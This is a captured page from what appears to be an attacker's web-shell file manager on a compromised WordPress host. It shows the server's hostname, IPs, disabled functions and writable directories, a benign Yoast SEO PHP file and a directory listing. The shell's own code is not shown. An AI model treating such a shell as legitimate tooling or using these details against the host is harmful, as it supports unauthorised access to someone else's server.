✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.42
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/languages//aggregate-site-schema-map-command-handler.php
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Schema_Aggregator\Application;

use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Map\Schema_Map_Builder;
use Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Map\Schema_Map_Xml_Renderer;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Map\Schema_Map_Repository_Factory;

/**
 * Class that handles the command to aggregate site schema map.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Aggregate_Site_Schema_Map_Command_Handler {

	/**
	 * The schema map factory.
	 *
	 * @var Schema_Map_Repository_Factory
	 */
	private $schema_map_repository_factory;

	/**
	 * The schema map builder.
	 *
	 * @var Schema_Map_Builder
	 */
	private $schema_map_builder;

	/**
	 * The schema map XML renderer.
	 *
	 * @var Schema_Map_Xml_Renderer
	 */
	private $schema_map_xml_renderer;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Aggregate_Site_Schema_Map_Command_Handler constructor.
	 *
	 * @param Schema_Map_Repository_Factory $schema_map_repository_factory The schema map factory.
	 * @param Schema_Map_Builder            $schema_map_builder            The schema map builder.
	 * @param Schema_Map_Xml_Renderer       $schema_map_xml_renderer       The schema map XML renderer.
	 * @param Indexable_Helper              $indexable_helper              The indexable helper.
	 */
	public function __construct( Schema_Map_Repository_Factory $schema_map_repository_factory, Schema_Map_Builder $schema_map_builder, Schema_Map_Xml_Renderer $schema_map_xml_renderer, Indexable_Helper $indexable_helper ) {
		$this->schema_map_repository_factory = $schema_map_repository_factory;
		$this->schema_map_builder            = $schema_map_builder;
		$this->schema_map_xml_renderer       = $schema_map_xml_renderer;
		$this->indexable_helper              = $indexable_helper;
	}

	/**
	 * Handles the Aggregate_Site_Schema_Map_Command.
	 *
	 * @param Aggregate_Site_Schema_Map_Command $command The command.
	 *
	 * @return string The schema map xml.
	 */
	public function handle( Aggregate_Site_Schema_Map_Command $command ): string {

		$schema_map_repository = $this->schema_map_repository_factory->get_repository( $this->indexable_helper->should_index_indexables() );
		$indexable_counts      = $schema_map_repository->get_indexable_count_per_post_type( $command->get_post_types() );

		$schema_map = $this->schema_map_builder
			->with_repository( $schema_map_repository )
			->build( $indexable_counts );

		return $this->schema_map_xml_renderer->render( $schema_map );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
11 Sep 2026 5.45 PM
docteuh / users
0777
alerts
--
11 Sep 2026 6.45 AM
docteuh / users
0755
apiclient-services
--
9 Sep 2026 5.48 PM
docteuh / users
0755
application
--
4 Sep 2026 12.44 AM
docteuh / users
0755
aggregate-site-schema-map-command-handler.php
2.67 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ar.js
56.842 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ca.js
3.456 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
cs.js
22.55 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
de.js
99.805 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
el.js
34.845 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
en.js
72.814 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
es.js
119.53 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
fa.js
42.697 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
fr.js
68.3 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
fusion-builder.pot
1.13 MB
20 Nov 2023 7.12 PM
docteuh / users
0644
he.js
24.534 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
hu.js
54.367 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103006-20260829202549.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
id.js
22.002 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
it.js
117.275 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ja.js
107.684 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
nb.js
40.598 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
nl.js
75.198 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
pl.js
383.09 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
plugin-install.php
38.125 KB
21 May 2026 2.34 PM
docteuh / users
0644
pt.js
61.726 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ru.js
312.048 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
sk.js
27.762 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
sv.js
141.878 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
theme-install.php
6.826 KB
3 Apr 2024 10.45 AM
docteuh / users
0644
tr.js
67.729 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF